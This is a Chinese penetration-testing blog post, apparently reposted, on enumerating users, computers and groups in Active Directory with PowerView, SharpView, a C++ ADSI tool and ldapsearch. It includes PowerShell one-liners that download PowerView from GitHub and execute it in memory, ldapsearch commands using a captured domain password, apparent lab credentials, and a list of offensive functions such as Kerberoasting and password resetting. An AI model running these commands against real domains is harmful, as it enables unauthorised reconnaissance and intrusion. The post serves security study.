查询活动目录计算机网络地址,域内活动目录信息的获取

最新推荐文章于 2024-04-23 22:05:59 发布
最新推荐文章于 2024-04-23 22:05:59 发布
阅读量506 收藏
点赞数
文章标签： 查询活动目录计算机网络地址

本文将要以获取活动目录中所有用户、所有计算机和所有组为例，介绍常用的信息获取方法

这次环境中我们得到了

czf@zhong.czf pass:pass!@#4

zhong.czf域内的普通用户 和密码

也获取到了pp.zhong.czf/ppo p:pass!@#4

子域的一个用户和密码

0x01简介

本文将要介绍以下内容：

域外获取活动目录信息的方法

域内获取活动目录信息的方法

使用C++调用ADSI接口获取信息的方法

0x02 基础知识

域环境使用directory database(目录数据库)来存储用户、计算机账户和组等对象

使用LDAP(Lightweight Directory Access Protocol)(轻量目录访问协议)来查询和更新目录数据库

常用缩写词

DN:Distinguished Name

CN:Common Name

OU:Organizational Unit

DC:Domain Controller

其中DN有三个属性，分别是CN、OU和DC

简单理解：

域控制器默认会开启端口389，用作LDAP服务

0x01windows通过powerview进行数据查询

当然我们得先看看这个参数

c5f187f25a143f851d4c1348190153c0.png

0x01远程加载

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetComputer -FullData

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetUser

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1');Get-NetSubnet

0x02本地加载

PS C:> import-module .powerview.ps1

PS C:> Get-NetDomain 获取当前的域名称

Get-Netuser 返回所有域内成员的详细信息

Get-NetDomainController 获取所有的域内的控制器信息

Get-NetComputer 获取所有域内机器的名称

Get-Netshare 获取域内的所有的网络共享

Get-NetRDPSESSION 获取指定服务的远程连接信息

Get-ADOPJECT 获取活动目录的信息

0X02使用C#实现

参照SharpView，地址：

https://github.com/tevora-threat/SharpView

:>SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential admin@test.local/password

C:>SharpView.exe Get-DomainController -Help

Get-DomainController -Domain -Server -DomainController -LDAP -Credential

Available methods

Get-DomainGPOUserLocalGroupMapping

Find-GPOLocation

Get-DomainGPOComputerLocalGroupMapping

Find-GPOComputerAdmin

Get-DomainObjectAcl

Get-ObjectAcl

Add-DomainObjectAcl

Add-ObjectAcl

Remove-DomainObjectAcl

Get-RegLoggedOn

Get-LoggedOnLocal

Get-NetRDPSession

Test-AdminAccess

Invoke-CheckLocalAdminAccess

Get-WMIProcess

Get-NetProcess

Get-WMIRegProxy

Get-Proxy

Get-WMIRegLastLoggedOn

Get-LastLoggedOn

Get-WMIRegCachedRDPConnection

Get-CachedRDPConnection

Get-WMIRegMountedDrive

Get-RegistryMountedDrive

Find-InterestingDomainAcl

Invoke-ACLScanner

Get-NetShare

Get-NetLoggedon

Get-NetLocalGroup

Get-NetLocalGroupMember

Get-NetSession

Get-PathAcl

ConvertFrom-UACValue

Get-PrincipalContext

New-DomainGroup

New-DomainUser

Add-DomainGroupMember

Set-DomainUserPassword

Invoke-Kerberoast

Export-PowerViewCSV

Find-LocalAdminAccess

Find-DomainLocalGroupMember

Find-DomainShare

Find-DomainUserEvent

Find-DomainProcess

Find-DomainUserLocation

Find-InterestingFile

Find-InterestingDomainShareFile

Find-DomainObjectPropertyOutlier

TestMethod

Get-Domain

Get-NetDomain

Get-DomainComputer

Get-NetComputer

Get-DomainController

Get-NetDomainController

Get-DomainFileServer

Get-NetFileServer

Convert-ADName

Get-DomainObject

Get-ADObject

Get-DomainUser

Get-NetUser

Get-DomainGroup

Get-NetGroup

Get-DomainDFSShare

Get-DFSshare

Get-DomainDNSRecord

Get-DNSRecord

Get-DomainDNSZone

Get-DNSZone

Get-DomainForeignGroupMember

Find-ForeignGroup

Get-DomainForeignUser

Find-ForeignUser

ConvertFrom-SID

Convert-SidToName

Get-DomainGroupMember

Get-NetGroupMember

Get-DomainManagedSecurityGroup

Find-ManagedSecurityGroups

Get-DomainOU

Get-NetOU

Get-DomainSID

Get-Forest

Get-NetForest

Get-ForestTrust

Get-NetForestTrust

Get-DomainTrust

Get-NetDomainTrust

Get-ForestDomain

Get-NetForestDomain

Get-DomainSite

Get-NetSite

Get-DomainSubnet

Get-NetSubnet

Get-DomainTrustMapping

Invoke-MapDomainTrust

Get-ForestGlobalCatalog

Get-NetForestCatalog

Get-DomainUserEvent

Get-UserEvent

Get-DomainGUIDMap

Get-GUIDMap

Resolve-IPAddress

Get-IPAddress

ConvertTo-SID

Invoke-UserImpersonation

Invoke-RevertToSelf

Get-DomainSPNTicket

Request-SPNTicket

Get-NetComputerSiteName

Get-SiteName

Get-DomainGPO

Get-NetGPO

Set-DomainObject

Set-ADObject

Add-RemoteConnection

Remove-RemoteConnection

Get-IniContent

Get-GptTmpl

Get-GroupsXML

Get-DomainPolicyData

Get-DomainPolicy

Get-DomainGPOLocalGroup

Get-NetGPOGroup

3.使用C++实现

参考地址：

https://github.com/microsoft/Windows-classic-samples/tree/master/Samples/Win7Samples/netds/adsi/activedir/QueryUsers/vc

https://github.com/outflanknl/Recon-AD

微软的代码是exe的格式，只介绍了QueryUser的方法，但支持查询条件(筛选指定用户)和显示简要信息(只输出名称，便于统计)

Recon-AD的代码是dll的格式，包含多个功能，但默认只显示详细信息

于是我将两者的代码融合，代码支持以下功能：

exe的格式

包含多个功能，支持查询用户、计算机和组等

支持查询条件和显示简要信息

代码已上传至github，地址如下：

https://github.com/3gstudent/Homework-of-C-Language/blob/master/QueryADObject.cpp

代码可指定ADS path和搜索条件，用法如下：

(1)查询域用户

列出所有域用户，只显示简要的名称信息，命令如下：

QueryADObject.exe Current "(&(objectClass=user)(objectCategory=person))" ShortData

结果输出如下图

0aa23119947550182f050f9221bd6ba2.png

查询指定用户的所有信息，命令如下：

QueryADObject.exe Current "(&(objectClass=user)(objectCategory=person)(name=testa))" AllData

结果输出如下图

aa0eeb6a07f4b6adf45a43bd51098886.png

(2)查询计算机

列出所有计算机账户，只显示简要的名称信息，命令如下：

QueryADObject.exe Current "(&(objectCategory=computer)(objectClass=computer))" ShortData

结果输出如下图

6e1669cead939fb07eaa0489647d0508.png

查询域控制器的详细信息，需要知道ADS path为"OU=Domain Controllers,DC=test,DC=com"，命令如下：

QueryADObject.exe "OU=Domain Controllers,DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))" AllData

结果输出如下图

ffe115d10a7296313a9309b6d0ce5f6e.png

(3)查询组

列出所有组，只显示简要的名称信息，命令如下：

QueryADObject.exe Current "(&(objectCategory=group))" ShortData

列出管理员组的详细信息，命令如下:

QueryADObject.exe Current "(&(objectCategory=group)(name=Domain Admins))" Alldata

结果输出如下图

71dfaeb8170c7d8ae20a23919a54a860.png

(4)查询OU

列出所有OU，只显示简要的名称信息，命令如下：

QueryADObject.exe Current "(&(objectCategory=organizationalUnit))" ShortData

结果输出如下图

fd14fe2999cf4499bc4edf0e037548bb.png

原文链接

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E6%B4%BB%E5%8A%A8%E7%9B%AE%E5%BD%95%E4%BF%A1%E6%81%AF%E7%9A%84%E8%8E%B7%E5%8F%96/

0x03 域外获取活动目录信息的方法

1.Kali系统通过ldapsearch进行数据查询

测试环境如下图

714d9f46c403a9e5247c839653363140.png

前提：我们能够访问到域控制器(DC)的389端口，并且我们至少已经获得了域内一个普通用户的口令

这个测试环境中，我们获得了域内普通用户testa的口令为DomainUser123!

连接命令如下：

ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com"

参数说明：

-x 进行简单认证

-H 服务器地址

-D 用来绑定服务器的DN

-w 绑定DN的密码

-b 指定要查询的根节点

这条命令会显示所能查询到的所有信息，如下图

e40b2c60d20c6db0356764c5d1e8777c.png

接下来加入搜索条件，对结果进行分类

(1)查询所有域用户

加入搜索条件："(&(objectClass=user)(objectCategory=person))"

完整命令如下：

ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))"

这条命令会输出所有域用户的所有属性，如下图

b73f3e31c301ce52e390e509202bebee.png

为了便于统计名称，可以选择只列出CN(Common Name)，并且使用grep命令对输出进行过滤

命令如下：

ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectClass=user)(objectCategory=person))" CN | grep cn

结果输出如下图

58a04aa65f48167bacee485f24ed168e.png

(2)查询所有计算机

加入搜索条件："(&(objectCategory=computer)(objectClass=computer))"

命令如下：

ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))" CN | grep cn

结果输出如下图

3e7478da985cb8c0f1bcf4404fa77b21.png

(3)查询所有组

加入搜索条件："(&(objectCategory=group))"

命令如下：

ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" -b "DC=test,DC=com" "(&(objectCategory=group))" CN | grep cn

结果输出如下图

e847f807002cc1b3c10ca79efec9b722.png

2.Windows系统通过PowerView进行数据查询

本文将要以获取活动目录中所有用户、所有计算机和所有组为例，介绍常用的信息获取方法

长佑
关注
Active Directory(活动目录) & Domain（域）
田攀的日志
06-16 1万+
Active Directory（活动目录）是微软Windows Server中，负责架构中大型网路环境的集中式目录管理服务（Directory Services），Windows 2000 Server开始内建于Windows Server产品中，它处理了在组织中的网路物件，物件可以是计算机，用户，群组，组织单元（OU），树系等等，只要是在Active Directory结构定义档（schema
window活动目录与域
2303_77686186的博客
11-20 589
Windows活动目录（Active Directory）是Microsoft在Windows Server上提供的一种基于目录服务的解决方案，它可以用来存储、组织和管理网络中的计算机、用户、组和其他资源等信息。它是一种分布式的、标准化的、层次结构的数据库，可以提供统一的身份认证和授权管理，以及集中的管理和维护。它可以集成多种应用程序，如DNS、DHCP、LDAP等，使它更加灵活和强大。
活动目录管理工具---使用保存的查询
weixin_34248118的博客
01-11 84
1.1.1 使用保存的查询 保存的查询为管理员提供了一种快速、一致的方法，用来访问要对其执行特定任务或进行监视的一组公共目录对象。保存的查询使用预定义的 LDAP 字符串仅搜索指定的域分区，搜索的范围可具体到单个容器对象。还可以创建自定义的保存的查询，其中包含 LDAP 搜索筛选器。 可以保存查询以搜索禁用的用户或计算机帐户、上次用户登录以后的天数、具有不过期密码的用户，以及许多其他常用查询。...
查看删除的帐号的DN名称（活动目录快照配置管理系列六）
weixin_33814685的博客
06-12 97
1. 单击“开始”菜单，在搜索框中输入“ldp”； 2. 在ldp窗口中，单击“连接”,在下图所示页面中，输要连接的快照，本例中我们只对DC-01.Virtuallab.cn做了快照所以我们连接至之前定义的端口11223 3. 连接完成后显示如下内容； 4. 单击“连接”/“绑定”，如下图所示； 5. 在弹出的“绑定”对话框中，使用当前帐号绑定，单击“确定...
C# 查看当前电脑的网络状态及变化
weixin_51786302的博客
08-16 704
引用：using System.Net.NetworkInformation;OperationalStatus：获取网络连接的当前操作状态。查看当前电脑WLAN、蓝牙、以太网等等的连接状态。Name：获取网络适配器名称。通过事件通知的方法获取。
域内计算机和用户获取实现vbs代码
09-05
本文将详细介绍如何使用VBScript（Visual Basic Scripting Edition）来获取域内的计算机和用户信息。 VBScript是Microsoft开发的一种轻量级、解释型的脚本语言，常用于自动化任务和系统管理。在Windows环境下，它...
域内计算机 林阳域内计算机扫描与管理系统2016 v2016.18.598
11-08
1. **批量扫描**：软件能够快速扫描域内的所有计算机，获取详细的硬件配置、软件安装情况、系统更新状态等信息。这对于IT管理员来说，是了解网络整体状态的第一步，也是进行问题排查和优化的基础。 2. **远程管理**...
AD(活动目录)管理员操作手册域控及组策略管理.docx
09-09
在IT管理领域，AD活动目录是微软Windows Server操作系统中的核心组件，它提供了一个集中式、层次化的命名空间，用于管理和控制网络资源。AD使得网络中的身份验证、授权和配置管理变得更加高效和安全。 1. 工作组与...
获取域中计算机的硬件和软件详细信息
04-01
本篇文章将详细讲解如何利用VB.NET编写程序来获取域内计算机的这些详细信息。 首先，我们需要连接到Active Directory（AD），这是微软提供的一个目录服务，用于存储和管理网络中的用户、计算机和其他对象。在VB.NET...
获取 AD域 用户列表
07-18
获取 AD域 用户列表获取
活动目录Users和Computers默认位置变更
wudkit的专栏
12-31 1038
<br />将 CN=Users 重定向到管理员指定的组织单位<br /><br />    1. 使用域管理员凭据登录到 CN=Users 容器将被重定向到的 z 域中。<br />    2. 在“Active Directory 用户和计算机”管理单元 (Dsa.msc) 或“域和信任关系”管理单元 (Domains.msc) 中，将该域转换到 Windows Server 2003 域功能级别。 有关提高域功能级别的其他信息，请单击下面的文章编号，以查看 Microsoft 知识库中相应的文章：
domain条目注册和查看注册结果
关注工业机器人应用
01-06 478
domain条目另外的注册方法
关于Domain的查询命令
最新发布
weixin_43366437的博客
04-23 328
在实际使用中，可以根据具体的需求选择合适的命令进行网络或域名相关的查询和测试。nslookup: 另一个DNS查询工具，既支持交互模式也支持命令行模式，适合对DNS记录做详细的查询。dig: 用来执行DNS查询，可以获取指定域名的所有类型的DNS记录。host: 一个简化版的DNS查询工具，适合快速查询域名的IP地址或某种类型的DNS记录。whois: 提供域名的所有权和注册信息，可用于查询域名的注册人、注册时间、到期时间等。ping: 测试网络连通性的基础工具，通过域名来检查与对应服务器的连通性。
Windows域结构关系及基本信息
st3pby的博客
11-17 1698
Windows域结构关系及基本信息
内网渗透测试：活动目录 Active Directory 的查询
qq_53058639的博客
08-20 344
这又是一个关于域内基础概念与原理的系列，本系列将包含以下几篇文章：《内网渗透测试：内网环境与活动目录基础概念》《内网渗透测试：活动目录 Active Directory 的查询》《内网渗透测试：域用户组及域内权限划分》《内网渗透测试：OU 组织单位》《内网渗透测试：域用户和机器用户》《内网渗透测试：域内权限访问控制》《内网渗透测试：Windows 令牌窃取》《内网渗透测试：Windows 组策略讲解》《内网渗透测试：Windows 组策略后门》
域内信息枚举
yutianovo的博客
03-16 396
域内信息枚举
域渗透基础知识（二）之活动目录 Active Directory 的查询
把自己活成一道光，因为你不知道，谁会借着你的光，走出了黑暗。请保持心中的善良，因为你不知道，谁会借着你的善良，走出了绝望。请保持你心中的信仰，因为你不知道，谁会借着你的信仰，走出了迷茫。请相信自己的力量，因为你不知道，谁会因为相信你，开始相信了自己....
12-01 2801
Active Directory简单来说，就是Microsfot提供的一项功能服务，它充当集中存储库并存储与Active Directory用户、计算机、服务器和组织内的其他资源等对象相关的所有数据，它使系统管理员的管理变得容易。但它的主要功能是提供一种在域环境中对用户和机器进行身份验证的方法。使用Active Directory，可以远程管理用户、工作站及其权限等资源。因此，它是一个可从网络上的任何地方访问的单一管理界面。
windows提权终结
2201_75378806的博客
03-27 1028
介绍了一些权限是什么作用。
域，域控制器，活动目录
qq_45031509的博客
10-13 3105
如果想给一个工作组（500台电脑）添加一个登录用户，传统的方式是在500台电脑上都添加用户的账号和密码，如果使用「域」就没有那么麻烦。用于储存有关「网络对象」（用户，组，计算机，共享资源，打印机，联系人等）的信息，帮助用户很快的找到相应的信息，提供「集中管理」储存有整个域的账户，密码，属于这个域当中计算机，服务器的信息的数据库，域内计算机的访问都需要通过他。升级版的工作组，在安全上更加严格，用户对域内资源的访问，取决于用户在域当中的权限。首先配置「IP」与「DNS服务器」，注意DSN服务器是父域的IP，
Windows Server 2003活动目录迁移指南
"Windows Server 2003活动目录之...Windows Server 2003活动目录的迁移是一个复杂的过程，需要深入理解AD架构、网络基础设施和安全性。通过仔细的规划、测试和执行，可以成功完成迁移，同时确保业务的连续性和稳定性。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值